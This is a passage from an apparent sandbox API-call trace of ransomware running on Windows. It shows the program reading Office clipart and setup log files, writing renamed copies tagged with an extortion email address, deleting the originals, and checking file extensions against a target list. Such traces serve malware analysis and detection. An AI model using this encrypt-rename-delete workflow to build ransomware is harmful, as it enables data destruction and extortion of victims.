lpNewFilePointer=0x0) returned 1 [0093.995] SetEndOfFile (hFile=0x390) returned 1 [0093.996] CloseHandle (hObject=0x390) returned 1 [0093.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 1 [0093.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0093.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0093.996] lstrlenW (lpString=".doc") returned 4 [0093.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.996] lstrlenW (lpString=".docx") returned 5 [0093.996] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0093.996] lstrlenW (lpString=".pdf") returned 4 [0093.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.996] lstrlenW (lpString=".xls") returned 4 [0093.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.996] lstrlenW (lpString=".xlsx") returned 5 [0093.996] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0093.996] lstrlenW (lpString=".ppt") returned 4 [0093.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0093.997] lstrlenW (lpString=".zip") returned 4 [0093.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.997] lstrlenW (lpString=".rar") returned 4 [0093.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.997] lstrlenW (lpString=".bz2") returned 4 [0093.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.997] lstrlenW (lpString=".7z") returned 3 [0093.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0093.997] lstrlenW (lpString=".dbf") returned 4 [0093.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0093.997] lstrlenW (lpString=".1cd") returned 4 [0093.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0093.997] lstrlenW (lpString=".jpg") returned 4 [0093.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0093.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0093.997] lstrlenW (lpString=".doc") returned 4 [0093.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.997] lstrlenW (lpString=".docx") returned 5 [0093.997] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0093.997] lstrlenW (lpString=".pdf") returned 4 [0093.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.997] lstrlenW (lpString=".xls") returned 4 [0093.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.997] lstrlenW (lpString=".xlsx") returned 5 [0093.997] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0093.997] lstrlenW (lpString=".ppt") returned 4 [0093.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0093.997] lstrlenW (lpString=".zip") returned 4 [0093.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.997] lstrlenW (lpString=".rar") returned 4 [0093.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.998] lstrlenW (lpString=".bz2") returned 4 [0093.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.998] lstrlenW (lpString=".7z") returned 3 [0093.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0093.998] lstrlenW (lpString=".dbf") returned 4 [0093.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0093.998] lstrlenW (lpString=".1cd") returned 4 [0093.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0093.998] lstrlenW (lpString=".jpg") returned 4 [0093.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.998] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.998] lstrlenW (lpString="J0105378.WMF") returned 12 [0093.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.998] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=4964) returned 1 [0093.998] CloseHandle (hObject=0x390) returned 1 [0093.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 0x220 [0093.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.999] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.999] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0093.999] GetLastError () returned 0x0 [0093.999] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1364, lpOverlapped=0x0) returned 1 [0094.001] WriteFile (in: hFile=0x364, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1370, lpOverlapped=0x0) returned 1 [0094.003] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0094.003] WriteFile (in: hFile=0x364, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0094.003] SetEndOfFile (hFile=0x364) returned 1 [0094.003] CloseHandle (hObject=0x364) returned 1 [0094.003] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.003] SetEndOfFile (hFile=0x390) returned 1 [0094.004] CloseHandle (hObject=0x390) returned 1 [0094.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0094.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 1 [0094.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0094.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0094.005] lstrlenW (lpString=".doc") returned 4 [0094.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.005] lstrlenW (lpString=".docx") returned 5 [0094.005] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0094.005] lstrlenW (lpString=".pdf") returned 4 [0094.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.005] lstrlenW (lpString=".xls") returned 4 [0094.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.005] lstrlenW (lpString=".xlsx") returned 5 [0094.005] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0094.005] lstrlenW (lpString=".ppt") returned 4 [0094.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0094.005] lstrlenW (lpString=".zip") returned 4 [0094.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.005] lstrlenW (lpString=".rar") returned 4 [0094.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.005] lstrlenW (lpString=".bz2") returned 4 [0094.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.005] lstrlenW (lpString=".7z") returned 3 [0094.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0094.005] lstrlenW (lpString=".dbf") returned 4 [0094.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0094.005] lstrlenW (lpString=".1cd") returned 4 [0094.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0094.005] lstrlenW (lpString=".jpg") returned 4 [0094.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0094.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0094.005] lstrlenW (lpString=".doc") returned 4 [0094.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.005] lstrlenW (lpString=".docx") returned 5 [0094.005] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0094.005] lstrlenW (lpString=".pdf") returned 4 [0094.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.006] lstrlenW (lpString=".xls") returned 4 [0094.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.006] lstrlenW (lpString=".xlsx") returned 5 [0094.006] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0094.006] lstrlenW (lpString=".ppt") returned 4 [0094.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0094.006] lstrlenW (lpString=".zip") returned 4 [0094.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.006] lstrlenW (lpString=".rar") returned 4 [0094.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.006] lstrlenW (lpString=".bz2") returned 4 [0094.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.006] lstrlenW (lpString=".7z") returned 3 [0094.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0094.006] lstrlenW (lpString=".dbf") returned 4 [0094.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0094.006] lstrlenW (lpString=".1cd") returned 4 [0094.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0094.006] lstrlenW (lpString=".jpg") returned 4 [0094.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.006] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0094.006] lstrlenW (lpString="J0105380.WMF") returned 12 [0094.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0094.007] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=4624) returned 1 [0094.007] CloseHandle (hObject=0x390) returned 1 [0094.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 0x220 [0094.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0094.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0094.007] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.008] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0094.008] GetLastError () returned 0x0 [0094.008] ReadFile (hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0) Thread: id = 17 os_tid = 0xe10 [0060.911] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x37d0990 [0060.912] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3d50048 [0060.913] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8c20 [0060.913] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x52e148 [0060.913] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8c50 [0060.913] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x3f5b020 [0060.916] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8c80 [0060.916] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8c80, Size=0x20) returned 0x4ceba8 [0060.916] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8c80 [0060.916] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8c80, Size=0x20) returned 0x4ced38 [0060.916] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000 [0060.916] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30 [0060.916] Wow64DisableWow64FsRedirection (in: OldValue=0x339ff50 | out: OldValue=0x339ff50*=0x0) returned 1 [0060.916] lstrlenW (lpString="kernel32.dll") returned 12 [0060.916] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ceba8 | out: hHeap=0x490000) returned 1 [0060.916] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.916] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ced38 | out: hHeap=0x490000) returned 1 [0060.916] Sleep (dwMilliseconds=0x64) [0061.224] lstrcmpiW (lpString1=".log", lpString2=".NEWS") returned -1 [0061.224] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0061.224] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0061.226] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=42674) returned 1 [0061.226] CloseHandle (hObject=0x2d0) returned 1 [0061.226] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0061.226] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.227] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0061.227] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.227] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.227] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0061.227] GetLastError () returned 0x0 [0061.227] ReadFile (in: hFile=0x2d0, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xa6b2, lpOverlapped=0x0) returned 1 [0061.245] WriteFile (in: hFile=0x2d4, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xa6c0, lpOverlapped=0x0) returned 1 [0061.247] ReadFile (in: hFile=0x2d0, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.248] WriteFile (in: hFile=0x2d4, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x11e, lpOverlapped=0x0) returned 1 [0061.248] SetEndOfFile (hFile=0x2d4) returned 1 [0061.248] CloseHandle (hObject=0x2d4) returned 1 [0061.250] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.250] SetEndOfFile (hFile=0x2d0) returned 1 [0061.251] CloseHandle (hObject=0x2d0) returned 1 [0061.251] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.252] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1 [0061.252] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0061.252] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0061.252] lstrlenW (lpString=".doc") returned 4 [0061.252] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0061.252] lstrlenW (lpString=".docx") returned 5 [0061.252] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0061.252] lstrlenW (lpString=".pdf") returned 4 [0061.252] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0061.252] lstrlenW (lpString=".xls") returned 4 [0061.252] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0061.252] lstrlenW (lpString=".xlsx") returned 5 [0061.252] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0061.252] lstrlenW (lpString=".ppt") returned 4 [0061.253] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0061.253] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0061.253] lstrlenW (lpString=".zip") returned 4 [0061.253] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0061.253] lstrlenW (lpString=".rar") returned 4 [0061.253] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0061.253] lstrlenW (lpString=".bz2") returned 4 [0061.253] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0061.253] lstrlenW (lpString=".7z") returned 3 [0061.253] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0061.253] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0061.253] lstrlenW (lpString=".dbf") returned 4 [0061.253] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0061.253] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0061.253] lstrlenW (lpString=".1cd") returned 4 [0061.253] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0061.253] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0061.253] lstrlenW (lpString=".jpg") returned 4 [0061.253] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0061.253] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0061.253] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0061.253] lstrlenW (lpString=".doc") returned 4 [0061.253] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0061.253] lstrlenW (lpString=".docx") returned 5 [0061.253] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0061.253] lstrlenW (lpString=".pdf") returned 4 [0061.254] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0061.254] lstrlenW (lpString=".xls") returned 4 [0061.254] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0061.254] lstrlenW (lpString=".xlsx") returned 5 [0061.254] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0061.254] lstrlenW (lpString=".ppt") returned 4 [0061.254] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0061.254] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0061.254] lstrlenW (lpString=".zip") returned 4 [0061.254] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0061.254] lstrlenW (lpString=".rar") returned 4 [0061.254] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0061.254] lstrlenW (lpString=".bz2") returned 4 [0061.254] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0061.254] lstrlenW (lpString=".7z") returned 3 [0061.254] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0061.254] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0061.254] lstrlenW (lpString=".dbf") returned 4 [0061.254] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0061.254] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0061.254] lstrlenW (lpString=".1cd") returned 4 [0061.254] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0061.254] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0061.254] lstrlenW (lpString=".jpg") returned 4 [0061.254] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0061.255] lstrcmpiW (lpString1=".log", lpString2=".NEWS") returned -1 [0061.255] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0061.255] CreateFileW 